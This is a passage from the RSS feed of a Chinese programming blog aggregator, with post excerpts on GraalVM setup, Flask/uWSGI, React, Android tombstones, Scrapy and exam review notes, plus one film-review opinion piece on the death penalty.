      <description>推荐阅读 轻松驾驭JDBC：一篇文章帮你搞定数据库连接&#xA;ChatGPT爆火一周年，快来拥有专属你的ChatGPT应用！&#xA;文章目录 推荐阅读GraalVM安装native-image安装自动安装手动安装 Visual Studio安装下载配置环境变量INCLUDE环境变量LIB环境变量 GraalVM安装 下载配置GraaIVM（下载地址） ，选择相应版本，进行下载。 将GraalVM的bin目录路径添加到系统环境变量中。在Windows 10中，可以按下Win + X键，选择“系统”，然后选择“关于”-&amp;gt;“高级系统设置”-&amp;gt;“环境变量”。 如果之前配置过java的环境变量，可以直接替换掉JAVA_HOME（这里采取的是该方法） 验证安装&#xA;java -version native-image安装 自动安装 官网教程安装命令：gu install native-image。&#xA;在这之前，可以先测试gu命令是否可以运行。&#xA;然后进行native-image安装。&#xA;可能在windows上是无法运行，不能识别gu命令。可以使用以下命令进行自动下载安装&#xA;gu.cmd install native-image 手动安装 进入官网（下载链接），下载与自己Java版本，操作系统对应的jar包。下载完成后，cmd进入jar所在目录，输入以下命令。 gu install -L native-image-installable-svm-java17-windows-amd64-22.3.0.jar（这里替换你下载的那个jar） Visual Studio安装 下载 进入官网，下载Visual Studio（下载链接）&#xA;下载配置windows10 sdk和msvc。&#xA;建议使用新版2022的，2019版的可能后续运行native-image会报错（至少我的是这样的)😭😭😭&#xA;22版同样下载相应的组件。msvc和windows10sdk,这两个必不可少。&#xA;配置环境变量 Path环境变量&#xA;在path中添加你vs目录下msvc的bin目录&#xA;windows sdk各个版本安装目录不同（容易搞错），搜索注册表进入注册表编辑器，找到对应的注册表路径。&#xA;计算机\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Microsoft SDKs\Windows\v10.0&#xA;C:\Program Files (x86)\Windows Kits\10\ 接下来需要配置环境变量INCLUDE和LIB&#xA;INCLUDE环境变量 LIB环境变量 重新启动系统后，进行测试。&#xA;等待完成后，即可在设定路径下看到相关的exe文件，点击即可执行。&#xA;运行结果：&#xA;看到这一个页面，恭喜你，成功完成了所有的配置，可以继续愉快的玩耍了 。</description>
    </item>
    <item>
      <title>宝塔部署flask添加ssl即https</title>
      <link>https://bchobby.github.io/posts/569e309cf8a8f5785913168c92dfa644/</link>
      <pubDate>Sat, 30 Dec 2023 22:18:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/569e309cf8a8f5785913168c92dfa644/</guid>
      <description>在宝塔部署flask的步骤我已经写了一篇博客:宝塔部署flask项目-CSDN博客&#xA;之前说如果出现找不到application错误:&#xA;spawned uWSGI http 1 (pid: 3116) --- no python application found, check your startup logs for errors --- [pid: 3114|app: -1|req: -1/1] 127.0.0.1 () {62 vars in 1090 bytes} [Sat Dec 30 22:03:36 2023] GET / =&amp;gt; generated 21 bytes in 0 msecs (HTTP/1.1 500) 2 headers in 83 bytes (0 switches on core 0) 可以修改运行代码:&#xA;if __name__ == &#39;__main__&#39;: app.run() else: application = app 这样就有uwsgi.ini文件需要的application名字了.&#xA;还有一种方法,就是在uwsgi.ini里面设置访问的程序名不是默认的application,而是app:</description>
    </item>
    <item>
      <title>react基础学习 附加todo实现代码</title>
      <link>https://bchobby.github.io/posts/c905f901d713c3ba5b8be8293fbd8a6b/</link>
      <pubDate>Sat, 30 Dec 2023 21:57:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c905f901d713c3ba5b8be8293fbd8a6b/</guid>
      <description>简介 学习目的 我们在学习GUI开发的时候一般思考两个问题&#xA;如何来设计UI?如何实现前后端数据交互? 问题一&#xA;React引入了tsx语法,让我们能够在ts中自由的嵌入html,让我们能只写tsx代码,来实现UI的控制,而不是把所有的UI都放进一个html文件中,让各个部分更好维护&#xA;所react中,我们使用组件来表示各个小的部分&#xA;那与之而来的问题,react是如何将tsx代码变成网页的呢?&#xA;要知道,我们使用react可以不写任何html实现网页效果&#xA;答案是使用虚拟dom,即由react管理的dom,我们的tsx语法都会先映射到这个虚拟的dom上,然后react来对比改变的部分,然后render到浏览器中的dom上,这样还能减少对浏览器dom的更改,节省了性能&#xA;问题二&#xA;我们的数据通过hook来修改,根据不同需要,可以封装不同的修改&#xA;React（React.js或ReactJS）是由Facebook开发并维护的一款用于构建用户界面的JavaScript库。React主要用于构建单页面应用程序（Single Page Applications）中的用户界面，通过组件化开发的方式，可以更轻松地构建和维护复杂的前端应用。&#xA;React的设计目标是提高前端开发的效率和可维护性，使得开发者能够更容易地构建现代、响应式的用户界面。它广泛应用于各种Web应用开发项目，并且与其他技术（如React Native）结合，使得开发者可以用相似的方式构建Web、移动端等不同平台上的应用。&#xA;运行环境 1. 创建 React 应用&#xA;在工作目录下打开终端,输入下面命令,设置名称为my-app后全部yes&#xA;npx create-next-app@latest 2. 进入 create-react-app 创建的文件夹并安装 typescript&#xA;cd my-app 3.启动 React&#xA;npm run dev 然后会自动在浏览器打开localhost:3000网页,然后就能看到官方示例了&#xA;HOOK 格式如下,解释 : 用setTodos来设置todos,并初始值为&amp;lt;Todo[]&amp;gt;([])这个空列表&#xA;const [todos, setTodos] = useState&amp;lt;Todo[]&amp;gt;([]) 然后我们可以利用这个来管理todos,如下&#xA;const addTodo = (text: string) =&amp;gt; { const newTodo = { id: Date.now(), text, completed: false } setTodos([...todos, newTodo])//打开旧的,添加新的 } const deleteTodo = (id: number) =&amp;gt; { setTodos(todos.</description>
    </item>
    <item>
      <title>软件工程期末复习习题</title>
      <link>https://bchobby.github.io/posts/41f7b59ee642ef0b3a06f4effb6b086e/</link>
      <pubDate>Sat, 30 Dec 2023 21:56:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41f7b59ee642ef0b3a06f4effb6b086e/</guid>
      <description>知识点总结 第一章：软件工程概述 1、软件的定义：在运行中能提供所希望的功能与性能的程序+使程序能够正确运行的数据及其结构+描述软件研制过程和方法所用的文档。&#xA;2、软件危机：软件开发的生产率远远不能满足客观需要。开发的软件产品往往不能满足用户的实际需要。软件产品的质量低下且可维护性差。很难估计软件开发的进度计划与成本。&#xA;3、软件工程是将系统化的、严格约束的、可量化的方法应用于软件的开发、运行和维护，即将工程化应用于软件。&#xA;4、软件工程三个要素：方法、工具、过程&#xA;5、瀑布模型：软件需求的认识是明确的&#xA;6、演化模型：适用于对软件需求缺乏准确认识的情况。软件需求的认识是模糊的、不确定的&#xA;7、增量模型特别适用于：需求经常变化的软件开发；市场急需而开发人员和资金不能在设定的市场期限之前实现一个完善的产品的软件开发&#xA;8、原型是预期系统的一个可执行版本，它反映了系统性质的一个选定的子集。&#xA;9、螺旋模型：是瀑布模型和演化模型的结合，并增加了风险分析&#xA;10、喷泉模型：喷泉模型是一种支持面向对象开发的模型，体现迭代和无间隙特征。&#xA;第二章：系统策划 1、可行性研究的任务：技术可行性 、经济可行性和社会因素的考虑。&#xA;2、两种成本估算方法：代码行法(LOC)——每行代码的平均成本乘以程序的行数；功能点法(FP)——采用软件所提供的功能来测量的&#xA;第三章 需求分析 1、需求分析的重要性：需求分析是发现、求精、建模、规格说明和复审的过程；需求分析是系统设计的基础，关系到程的成败和软件产品的质量。&#xA;2、需求获取困难原因有三：一是用户需求的动态性(不稳定性)；二是需求的模糊性(不准确性)；三是需求必须得到用户的确认，否则毫无意义 。&#xA;3、需求分析任务：&#xA;确定对系统的综合要求：系统界面要求、系统功能要求、系统性能要求、完全性可靠性保密性要求、系统运行要求、异常处理要求、将来可能提出的要求、分析系统的数据要求；分析系统的数据要求；画出系统的逻辑模型；修正项目开发划。&#xA;4、评审、验证的四个方面：一致性、完整性、现实性和有效性。&#xA;5、结构化分析方法：面向数据的方法，以数据流为中心 。其核心概念包括：数据流、数据存储、外部实体、数据组和数据元素。基本思想：自顶向下和逐层分解。&#xA;6、面向对象的分析方法 ：面向对象分析以对象及其服务作为建模标准，比较自然，对象也具有相对的稳定性。&#xA;7、数据流图(DFD)是一种图形化技术，它描绘信息和数据从输入到输出的过程中所经受的变换。&#xA;8、数据字典任务：对于数据流图中出现的所以被命名的图形元素在数据字典中作为一个词条加以定义，使得每一个图形元素的名字都有一个确切的解释。&#xA;9、数据元素：数据的最小单位&#xA;10、面向对象＝对象＋类＋继承＋通信&#xA;11、对象是现实世界中个体或事物的抽象表示，它封装了特殊的属性(数据)和行为方法(操作)。&#xA;12、类是具有相同属性和操作的一组相似对象的抽象&#xA;13、实例：是由某个特定的类所描述的一个具体的对象&#xA;14、属性：是类或对象中所定义的数据，它是描述客观世界实体静态特征的数据项。&#xA;15、方法是对象所能执行的操作，也就是类中所定义的服务。方法描述了对象执行操作的算法，响应消息的方法&#xA;16、一个消息由以下三部分组成：&#xA;•接收消息的对象；&#xA;•消息选择符即消息名；&#xA;•零个或多个变元。&#xA;17、封装就是把某个事物包起来，使外界不知道该事物的具体内容。在面向对象的程序中，把数据和实现操作的代码集中起来放在对象内部。&#xA;18、继承：类之间的继承关系是现实世界中遗传关系的直接模拟，它表示类之间的内在联系以及对属性和操作的共享，即子类可沿用父类(被继承)的某些特征。当然也可以具有自己独有的属性和操作。&#xA;19、多态是指在父类中定义的属性或服务被子类继承后，可以具有不同的数据类型或表现出不同的行为&#xA;20、向对象方法&#xA;Booch方法 ：提出面象对象的软件工程的概念&#xA;OMT方法 ：提出面象对象的建模技术方法&#xA;OOSE方法 ：用例贯穿于软件整个开发过程&#xA;21、UML（重点放到下边来总结）&#xA;第四章 软件设计 1、软件设计是一个把需求转换为某种软件表达方式的过程。基本目标是用比较抽象概括的方式确定目标系统如何完成预定的任务。&#xA;2、概要设计：将软件需求转化为软件体系结构，确定系统级接口、全局数据结构或数据库模式。&#xA;3、详细设计：确立每个模块的实现算法、局部数据结构，用适当方法表示算法和数据结构的细节。&#xA;4、所谓模块，是指具有相对独立性的，由数据说明、执行语句等程序对象构成的集合。模块具体表现为函数、子程序、过程等。一个模块具有输入/输出(接口)、功能、内部数据和程序代码四个特征。&#xA;5、模块化是指将整个程序划分为若干个模块，每个模块用于实现一个特定的功能。&#xA;6、体系结构设计的主要任务&#xA;软件体系结构设计（功能性）：设计软件的体系结构需要在对需求分析阶段生成的数据流图进一步分析和精化的基础上，首先将系统按照功能划分为模块，接着需要确定模块之间的调用关系及其接口，最后还应该对划分的结果进行优化和调整。良好的软件结构设计对详细设计及编码阶段的工作都是至关重要的。&#xA;数据结构和数据库设计：体系结构设计中应对需求分析阶段所生成的数据字典加以细化，从计算机技术实现的角度出发，确定软件涉及的文件系统及各种数据的结构。&#xA;系统可靠性、安全性设计（非功能性）：可靠性设计也称为质量设计，目的是为了保证程序及其文档具有较高的正确性和容错性，并对可能出现的错误易于修改和维护。安全性设计的主要目的是为了增强系统的自我防护能力和运行的稳定性，防止系统遭受到有意或无意地入侵和破坏，保证系统在安全的环境下正常地工作。&#xA;7、体系结构设计的原则&#xA;(1)降低模块的耦合性，提高模块的内聚性。 为了提高软件中各个模块的独立性，提高程序的可读性、可测试性和可维护性。&#xA;(2)保持适中的模块规模。对于模块的适当规模并没有严格的规定，但普遍的观点是模块中的语句数最好保持在10～100之间。&#xA;(3)模块应具有高扇入和适当的扇出。模块的扇入越大，则说明共享该模块的上级模块数越多，或者说该模块在程序中的重用性越高，这正是程序设计所追求的目标之一。模块的扇出若过大，如在一个模块中要调用八个下级模块，则会使该模块的调用控制过于复杂。最常见的解决办法是通过在此模块和下级模块间增加一个中间层来控制模块分解的速度。根据实践经验，设计良好的典型系统中，模块的平均扇出通常为3或4。&#xA;(4)软件结构中的深度和宽度不宜过大。所谓深度，是指软件体系结构中控制的层数，它能够粗略地反映出软件系统的规模和复杂程度；所谓宽度，是指软件体系结构内同一层次上模块个数的最大值，通常宽度越大的系统越复杂。</description>
    </item>
    <item>
      <title>什么保你平安</title>
      <link>https://bchobby.github.io/posts/3e0a3d8390af8330606cb5868304b70a/</link>
      <pubDate>Sat, 30 Dec 2023 21:45:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e0a3d8390af8330606cb5868304b70a/</guid>
      <description>今天看了大鹏导演的《保你平安》。我挺喜欢，因为凭良心讲，这片子讲事儿挺瓷实的，说了一些别人不敢说的的事儿，讲了一些别人不敢讲的答案。&#xA;点很多，说一点：平安哥女儿被霸凌的事儿。&#xA;霸凌听了好多了，从小学到大学，那是校园霸凌，再往后就是职场霸凌了。咱们对待校园霸凌的态度到底是什么？扩大一点儿，咱们对待有些人的“恶”，态度和做法是什么？再扩大点儿，对待“废除死刑”，态度和做法是什么？&#xA;我觉得最重要的是：负责任。大家都听过这个：“谁开发、谁保护，谁受益、谁补偿，谁污染、谁治理，谁破坏、谁修复”。现代社会的运行规律，在大部分时候和事情上是遵循这个的，比如离婚后，不养孩子的一方要付抚养费就是这个道理。所以我想这代表着一个普世价值”人人需为自己的行为负责”：某人做了某事，那么他必须为这事儿的后果负责，而且这和年龄、种族、宗教等等这些都没关系。否则，必然就会有人肆意妄为。&#xA;校园霸凌代表这一些人对另外一些人的“恶”。如果社会不打算接收这种“恶”，那么就必须让有些人为此付出代价。&#xA;生命很宝贵，因为每个人都只有一次机会。所以死亡至少是一个人所能付出的最大代价的一种方式。对于废除死刑，我认为这是某些人强制整个社会接受降低个人为其行为所能付的最大责任，或者后果，说白了就是容忍某些行为，降低上限。这是问题的一方面。&#xA;另一方面，人人生而平等的，没有人天生比其他人权利多一些，如果有人因为不能被社会接受的原因剥夺了其他人的权利，难道他不应该付出同等代价吗？所以无条件废除死刑实际上是剥夺了某些人的权利，比如被加害人的生存权，提出这些观点的人大概脑子不太清楚，搞不清楚现在的社会现实，这些人比坏蛋更坏。我想，按照他们说的相反去做就能平安吧。</description>
    </item>
    <item>
      <title>【Android12】Android Framework系列---tombstone墓碑生成机制</title>
      <link>https://bchobby.github.io/posts/6386c2ee95e43ef4cbc921769a3c11a5/</link>
      <pubDate>Sat, 30 Dec 2023 21:44:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6386c2ee95e43ef4cbc921769a3c11a5/</guid>
      <description>tombstone墓碑生成机制 Android中程序在运行时会遇到各种各样的问题，相应的就会产生各种异常信号，比如常见的异常信号 Singal 11：Segmentation fault表示无效的地址进行了操作，比如内存越界、空指针调用等。&#xA;Android中在进程(主要指native进程）崩溃时会生成墓碑文件，这些文件中记录了崩溃时的调用堆栈、日志信息、寄存器二进制数据等等，用以帮助开发者已经崩溃问题。&#xA;墓碑文件默认保存在**/data/tombstones/**目录中，以tombstone_xxx(xxx表示编号）方式命名。墓碑文件数量有上限，达到上限时会删除最旧的墓碑文件，可以通过配置属性 tombstoned.max_tombstone_count来修改默认的墓碑文件数量。&#xA;本文源码基于Android12版本。&#xA;墓碑环境初始化 bionic为程序初始化墓碑生成环境 bionic是android提供的符合POSIX接口的标准C库，其中提供了Linker（动态连接器）。动态链接器的作用是在运行动态链接的可执行文件时，动态链接器负责加载程序到内存中，并解析对符号的引用。&#xA;bionic在Linker中初始化墓碑生成环境，下面的汇编代码中执行了__linker_init这个符号(函数）&#xA;//bionic/linker/arch/arm64/begin.S #include &amp;lt;private/bionic_asm.h&amp;gt; ENTRY(_start) // Force unwinds to end in this function. .cfi_undefined x30 mov x0, sp bl __linker_init /* linker init returns the _entry address in the main image */ br x0 END(_start) __linker_init这个函数定义在/bionic/linker/linker_main.cpp中，先后执行__linker_init、__linker_init_post_relocation、linker_main。在linker_main函数中，调用linker_debuggerd_init，初始化墓碑生成环境。另外，在linker_main函数中可以看到很多比较重要的初始化函数，比如__system_properties_init。&#xA;//bionic/linker/linker_main.cpp extern &#34;C&#34; ElfW(Addr) __linker_init(void* raw_args) { // Initialize TLS early so system calls and errno work. // 省略 return __linker_init_post_relocation(args, tmp_linker_so); } static ElfW(Addr) __attribute__((noinline)) __linker_init_post_relocation(KernelArgumentBlock&amp;amp; args, soinfo&amp;amp; tmp_linker_so) { // 省略 // 执行linker_main ElfW(Addr) start_address = linker_main(args, exe_to_load); if (g_is_ldd) _exit(EXIT_SUCCESS); INFO(&#34;</description>
    </item>
    <item>
      <title>云计算复习提纲</title>
      <link>https://bchobby.github.io/posts/d662092ecc70eb60fba926dc7f83076c/</link>
      <pubDate>Sat, 30 Dec 2023 21:38:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d662092ecc70eb60fba926dc7f83076c/</guid>
      <description>第一章 大数据的概念：海量数据的规模巨大到无法通过目前主流的计算机系统在合理时间内获取、存储、管理、处理并提炼以帮助使用者决策&#xA;大数据的特点：①数据量大，存储的数据量巨大，PB级别是常态；②多样，数据的来源及格式多样，数据格式除了传统的结构化数据外，还包括半结构化和非结构化数据；③快速，数据的增长速度快，而且越新的数据价值要求对数据的处理也要快；④价值密度低，要求设计一种在成本可接受的条件下，快速采集，发现和分析，从大量多种类别的数据提取价值的体系架构；⑤复杂度，对数据分析处理的难度大&#xA;云计算的概念：云计算是一种商业计算模型，将计算任务分布在大量计算机构成的资源池上，使各种应用系统能够根据需要获取计算力，存储空间等服务&#xA;短定义：云计算是通过网络按需提供可动态伸缩的廉价计算服务&#xA;云计算的特点：①超大规模②虚拟化，支持用户在任意位置在各种终端获取服务，但实际上不需要了解应用运行的具体位置③高可靠性，采用数据多副本容错，节点同构可互换的措施来保障服务的高可靠性④通用性，云的特殊容错措施使得可以采用及其廉价的节点来构成云⑤高可伸缩，云的规模可以伸缩⑥按需服务⑥极其廉价，云的特殊容错措施可以使得用极其廉价的节点来构成云&#xA;云计算的分类：&#xA;按照服务类型分类：&#xA;①将基础设施作为服务IaaS，给用户提供对所有设施的利用服务，弹性云计算ECS、AWS&#xA;②将平台作为服务PaaS，将软件研发的平台作为一种服务，百度BAE，新浪SAE，阿里ACE，京东JAE&#xA;③将软件作为服务SaaS，协同OA，CRM，财务系统，企业智能系统和企业邮箱&#xA;按照部署模式分类：&#xA;①公有云，向公众开放，任何人都能够租赁&#xA;②私有云，只向一个企业或单位内的人员使用；分为本地私有云（部署在企业内部，适合运行关键和机密业务），托管私有云（托管在第三方机房）&#xA;③混合云，只供两个或以上的特定企业或者单位内的人员使用，其他人无权租赁和使用&#xA;④社区云，由两个或者以上不同类型的云组成，但用户使用感觉是一个云端资源&#xA;第二章 NAT虚拟机可以访问外网，外网不能访问虚拟机，网段不可以调整NAT Network虚拟机可以访问外网，外网不能访问虚拟机，网段可调整Bridged虚拟机可以访问外网，外网可以访问虚拟机，网段和主机相同Host-Only虚拟机不可以访问外网，外网不可以访问虚拟机，网段和主机相同 系统环境配置的步骤：①下载安装VirtualBox，下载系统镜像&#xA;②最小化安装CentOS，出现安装引导页面时点击Tab键，打开kernel启动选项，增加选项:net.ifnames=0 biosdevname=0，进入后网卡名会按照eth0，eth1的规则命名，同时进入安装页面之后选择最小化安装&#xA;③配置虚拟网络，①设置Nat Network网段（192.168.56.0/24）和 Host-only网段(10.0.0.0/24)，网卡一用于Nat网段，网卡二用于Host-only网段。②在/etc/sysconfig/network-script/中设置主机网络，自举协议为static，启动开机自启，设置IPADDR、NETMASK、GATEWAY、DNS1和DNS2；③/etc/hostname修改本主机名称；/etc/hosts修改其他主机名称解析，然后测试网络连接&#xA;④禁用防火墙和SELinux，关闭防火墙（临时关闭）systemctl stop firewalld ，防止自动启动systemctl disable firewalld ；关闭SELinux：修改配置文件/etc/sysconfig/selinux，设置SELINUX=disabled，检查关闭是否成功（systemctl status firewalld）&#xA;⑤配置EPEL，安装wget，然后使用淘宝等镜像源&#xA;⑥安装基础软件，安装工具软件包，服务器软件包，和开发工具（JAVA、node.js、gcc）&#xA;⑦创建快照并克隆虚拟机，克隆完成后需要进行网络连通性测试，随后对宿主机配置对所有虚拟机的免密登录&#xA;第三章 集群：一组相互独立的，通过高速网络互联的计算机，构成了一个组，并以单一系统的模式进行管理&#xA;集群的特性：一个用户与集群相互作用时，集群就像是一个独立的服务器&#xA;使用集群的目的：①提高性能；②降低成本；③提高可扩展性；④增强可靠性&#xA;集群的组织方式：①主从结构，将备份服务器连接到主服务器上，备份服务器一般不主动提供服务&#xA;②多级结构，多个服务器组成的集群服务器，对外都有一个统一的地址，每个集群服务器上都装有相同的应用程序&#xA;常用的命令：&#xA;取消开机启动systemctl disable nginx；&#xA;重启systemctl restart nginx ；&#xA;检查nginx进程ps aux | grep nginx；&#xA;检查端口netstat intp | grep 80或netstat intp | grep nginx&#xA;负载均衡的配置搭建 常见的负载均衡方案，分为硬件方案和软件方案；硬件方案采用F5等设备，但是比较贵。软件方案采用在四层使用LVS和在七层使用NginX实现负载均衡&#xA;Nginx仅仅是作为Nginx Proxy反向代理使用的，但我们称这个反向代理表现的效果是负载均衡的效果。所以可以称之为负载均衡；真正的负载均衡是转发用户请求的数据包，真正负载均衡是转发用户请求的数据包，而NginX反向代理是接收用户的请求然后重新发起请求去请求其后面的节点。</description>
    </item>
    <item>
      <title>微信小程序开发系列-08自定义组件模版特性</title>
      <link>https://bchobby.github.io/posts/1b7a0368bd52b20118ff04b472c53802/</link>
      <pubDate>Sat, 30 Dec 2023 21:20:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b7a0368bd52b20118ff04b472c53802/</guid>
      <description>微信小程序开发系列目录 《微信小程序开发系列-01创建一个最小的小程序项目》《微信小程序开发系列-02注册小程序》《微信小程序开发系列-03全局配置中的“window”和“tabBar”》《微信小程序开发系列-04获取用户图像和昵称》《微信小程序开发系列-05登录小程序》《微信小程序开发系列-06事件》《微信小程序开发系列-07组件》 文章目录 微信小程序开发系列目录前言自定义组件模版特性数据绑定component-tag-name.wxmlcomponent-tag-name.jsindex.wxmlindex.js运行结果 多slotcomponent-tag-name.wxmlindex.html运行结果 抽象节点定义声明使用综合示例 总结 前言 本文将学习自定义组件模版的三个特性：数据绑定、多slot、抽象节点。&#xA;自定义组件模版特性 数据绑定 在自定义组件中也可像普通页面一样进行数据绑定，同样是使用{{}}语法。这样就可以向自定义组件传递动态数据。&#xA;component-tag-name.wxml 在自定义组件中，定义了两个text用来显示属性propA和propB。&#xA;&amp;lt;view class=&#34;wrapper&#34;&amp;gt; &amp;lt;view&amp;gt;这里是组件的内部节点&amp;lt;/view&amp;gt; &amp;lt;view&amp;gt; &amp;lt;text&amp;gt;propA: {{propA}}&amp;lt;/text&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;view&amp;gt; &amp;lt;text&amp;gt;propB: {{propB}}&amp;lt;/text&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;slot&amp;gt;&amp;lt;/slot&amp;gt; &amp;lt;/view&amp;gt; component-tag-name.js 属性propA和propB的数据类型为String，并给了一个默认值。&#xA;Component({ /** * 组件的属性列表 */ properties: { propA: { type:String, value:&#34;propA&#34; }, propB: { type:String, value:&#34;propB&#34; } }, /** * 组件的初始数据 */ data: { }, /** * 组件的方法列表 */ methods: { } }) index.wxml 页面index绑定了数据dataFieldA和dataFieldB。&#xA;&amp;lt;view&amp;gt; &amp;lt;my-component prop-a=&#34;{{dataFieldA}}&#34; prop-b=&#34;{{dataFieldB}}&#34;&amp;gt; &amp;lt;!-- 这部分内容将被放置在组件 &amp;lt;slot&amp;gt; 的位置上 --&amp;gt; &amp;lt;view&amp;gt;这里是插入到组件slot中的内容&amp;lt;/view&amp;gt; &amp;lt;/my-component&amp;gt; &amp;lt;/view&amp;gt; index.</description>
    </item>
    <item>
      <title>WPF&#43;Halcon 培训项目实战(11):HS组件封装</title>
      <link>https://bchobby.github.io/posts/fa9627ff9c3244925c2543c165698b1f/</link>
      <pubDate>Sat, 30 Dec 2023 21:19:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa9627ff9c3244925c2543c165698b1f/</guid>
      <description>文章目录 前言相关链接项目专栏运行环境匹配图片封装组件新增类库项目选择依赖顺序并添加Nuget修改原本矩形方法运行结果： 对矩形进行抽象封装抽象基类矩形抽象改造 圆形抽象封装代码运行结果 前言 为了更好地去学习WPF+Halcon，我决定去报个班学一下。原因无非是想换个工作。相关的教学视频来源于下方的Up主的提供的教程。这里只做笔记分享，想要源码或者教学视频可以和他联系一下。&#xA;相关链接 微软系列技术教程 WPF 年度公益课程&#xA;Halcon开发 CSDN博客专栏&#xA;个人学习的Gitee 项目地址仓库&#xA;项目专栏 WPF+Halcon实战项目&#xA;运行环境 .net core 8.0visual studio 2022halcon HDevelop 20.11windows 11 匹配图片 封装组件 Halcon官方的代码很多都是基于String的类型判断，我们要对Halcon的代码进行一步简单的封装。&#xA;新增类库项目 选择依赖顺序并添加Nuget 让我们的WPF主程序依赖于HalconExtension类库&#xA;添加Nuget&#xA;修改原本矩形方法 原来的方法&#xA;// 显示绘制图案 HalconWindow.HalconWindow.AttachDrawingObjectToWindow(rect); // 去除绘制图案 //HalconWindow.HalconWindow.DetachDrawingObjectFromWindow(rect); rect.OnDrag(new HDrawingObject.HDrawingObjectCallbackClass((id, window, type) =&amp;gt; { var hv_type = id.GetDrawingObjectParams(&#34;type&#34;); var row1 = id.GetDrawingObjectParams(&#34;row1&#34;); var row2 = id.GetDrawingObjectParams(&#34;row2&#34;); var column1 = id.GetDrawingObjectParams(&#34;column1&#34;); var column2 = id.GetDrawingObjectParams(&#34;column2&#34;); //打印坐标 NLogHelper.Debug($&#34;拖动事件: {hv_type}:{row1} {column1} {row2} {column2} &#34;</description>
    </item>
    <item>
      <title>十三：爬虫-Scrapy框架（下）</title>
      <link>https://bchobby.github.io/posts/051696d49dc844daec37297d3f7d73d5/</link>
      <pubDate>Sat, 30 Dec 2023 21:13:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/051696d49dc844daec37297d3f7d73d5/</guid>
      <description>一：各文件的使用回顾 1.items的使用 items 文件主要用于定义储存爬取到的数据的数据结构，方便在爬虫和 Item Pipeline 之间传递数据。&#xA;items.py import scrapy class TencentItem(scrapy.Item): # define the fields for your item here like: title = scrapy.Field() position = scrapy.Field() date = scrapy.Field() 2.pipline的使用 （1）pipelines介绍 管道文件 pipelines.py 主要用来对抓取的数据进行处理：一般一个类即为一个管道，比如创建存入MySQL、MangoDB 的管道类。管道文件中 process_item() 方法即为处理所抓数据的具体方法。&#xA;（2）pipelines常用方法 process_item(self,item,spider)：处理爬虫抓取的具体数据，在 process_item() 函数中 必须要 return item，因为存在多管道时，会把此函数的返回值继续交由下一个管道继续处理；open_spider()：爬虫项目启动时只执行一次，一般用于数据库连接；close_spider()：爬虫项目结束时只执行一次，一般用于收尾工作，如数据库的关闭。 （3）pipelines注意点 pipeline对应的值越小优先级越高pipeline中的process_item方法的名字不能够修改为其他的名称 二：工作流程回顾 1.如何处理翻页 2.scrapy.Request知识点 scrapy.Request(url, callback=None, method=&#39;GET&#39;, headers=None, body=None,cookies=None, meta=None, encoding=&#39;utf-8&#39;, priority=0, dont_filter=False, errback=None, flags=None) 常用参数为： callback：指定传入的URL交给那个解析函数去处理 meta：实现不同的解析函数中传递数据，meta默认会携带部分信息,比如下载延迟，请求深度 dont_filter:让scrapy的去重不会过滤当前URL，scrapy默认有URL去重功能，对需要重复请求的URL有重要用途 三：Scrapy下载中间件 下载中间件是scrapy提供用于用于在爬虫过程中可修改Request和Response，用于扩展scrapy的功能&#xA;使用方法：&#xA;编写一个Download Middlewares和我们编写一个pipeline一样，定义一个类，然后在settings中开启Download Middlewares默认方法处理请求,处理响应,对应两个方法： process_request(self,request,spider): 当每个request通过下载中间件时，该方法被调用 process_response(self,request,response,spider): 当下载器完成http请求，传递响应给引擎的时候调用 当每个Request对象经过下载中间件时会被调用，优先级越高的中间件，越先调用；该方法应该返回以下对象：None/Response对象/Request对象/抛出IgnoreRequest异常</description>
    </item>
    <item>
      <title>前端八股文（工程化篇）</title>
      <link>https://bchobby.github.io/posts/60e7125f0d1a5e95a61ffa8aaa20d91a/</link>
      <pubDate>Sat, 30 Dec 2023 21:08:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60e7125f0d1a5e95a61ffa8aaa20d91a/</guid>
      <description>目录&#xA;1.常用的git命令有哪些？&#xA;2.git rebase和git merge的区别&#xA;3.有哪些常见的Loader和Plugin？&#xA;4.webpack的构建流程&#xA;5.bundle,chunk,module是什么？&#xA;6.如何提高webpack的打包速度&#xA;7.vite比webpack快在哪里&#xA;8.说一下你对Monorepo的理解&#xA;9.如何减少打包后的代码体积&#xA;10.Webpack的Tree Shaking原理&#xA;1.常用的git命令有哪些？ git clone:克隆远程仓库到本地git init：在当前目录初始化一个新的git仓库。git add：将文件添加到暂存区，准备提交。git commit -m &#34;commit_message&#34;：提交暂存区的改动到本地仓库，附带提交信息。git status：查看工作区，暂存区的状态，显示文件的修改情况git diff：显示工作区与暂存区之间的差异。git diff --staged：显示暂存区与最后一次提交之间的差异git log:显示提交日志。git branch：列出所有分支，当前分支前会有一个星号。git checkout：切换到指定分支git checkout -b：创建并切换到新分支git merge：将指定分支合并到当前分支git pull：拉取远程仓库的更新并合并到当前分支。git push：将本地分支的更新推送到远程仓库 2.git rebase和git merge的区别 git rebase和 git merge都是用于合并分支的git命令，这两个命令都能将一个分支合并到另一个分支，但两者的合并方式有很大不同&#xA;git merge ：将一个分支的更改合并到另一个分支，创建一个新的merge commit ，将两个分支的历史合并在一起，这个merge commit会在分支历史中保留，可以清晰的看到那些分支合并到主分支，合并后形成分叉结构 git rebase ：两个分支在合并到时候，会将整个分支合并到另一个分支的顶端。首先找到两个分支的共同commit记录，然后提取之后所有的commit，然后将这个commit记录添加到另一个分支的最前面，两个分支合并后commit记录就变成线性记录 3.有哪些常见的Loader和Plugin？ Loader:&#xA;image-loader：加载并压缩图片文件css-loader：加载css，支持模块化，压缩，文件导入等特性style-loader：把css代码注入到JavaScript中，通过DOM操作去加载CSSeslint-loader：通过ESlint检查JavaScript代码tslint-loader：通过TSLint检查TyepScript代码babel-loader：把ES6转化为ES5 Plugin：&#xA;define-plugin:定义环境变量html-webpack-plugin：简化HTML文件创建webpack-parallel-uglify-plugin : 